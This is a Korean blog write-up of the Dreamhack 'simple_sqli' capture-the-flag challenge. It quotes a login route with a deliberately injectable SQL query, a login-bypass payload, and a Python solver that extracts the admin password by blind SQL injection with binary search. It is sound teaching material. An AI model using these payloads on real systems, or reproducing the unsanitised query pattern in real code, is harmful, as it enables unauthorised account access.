본문 바로가기

웹해킹

드림핵 simple_sqli 롸업

<문제>

로그인 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

 

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

login 부분을 보면 입력값이 그대로 쿼리에 들어간다.

여기서 userid는 admin으로 하고 userpassword를 ddd" or userid="admin 로 하면

admin으로 로그인이 된다.

 

blind sql injection으로 직접 패스워드를 구할 수도 있다.

import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""
    
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
        
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> bool:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp
        
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low+high) // 2
            if low+1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
        
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
        
    def solve(self):
        pw_len = solver._find_password_length("admin")
        print(f"Length of admin password is: {pw_len}")
        
        
if __name__ == "__main__":
    port = 12733
    solver = Solver(port)
    solver.solve()

이 코드로 비밀번호의 길이를 먼저 알아낼 수 있다.

이분탐색을 사용해서 password의 LENGTH가 더 큰지 작은지에 대한 결과를 받아서 알아낸다.

def solve(self):
    pw_len = solver._find_password_length("admin")
    print(f"Length of admin password is: {pw_len}")
    print("Finding password:")
    pw = solver._find_password("admin", pw_len)
    print(f"Password of the admin is: {pw}")

def _find_password(self, user: str, pw_len: int) -> str:
    pw = ""
    for idx in range(1, pw_len + 1):
        query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
        pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
        print(f"{idx}. {pw}")
    return pw

solve 함수를 수정하고 solver 클래스 안에 _find_password 함수를 추가해서 비밀번호를 한자리씩 알아낼 수 있다.

얻어낸 비밀번호로 로그인하면 flag를 얻을 수 있다.

'웹해킹' 카테고리의 다른 글

ServerSide: Command Injection  (0) 2023.11.04
드림핵 Mango 롸업  (0) 2023.11.04
SQL Injection  (0) 2023.11.04
드림핵 csrf-2 롸업  (0) 2023.11.04
드림핵 csrf-1 롸업  (0) 2023.11.03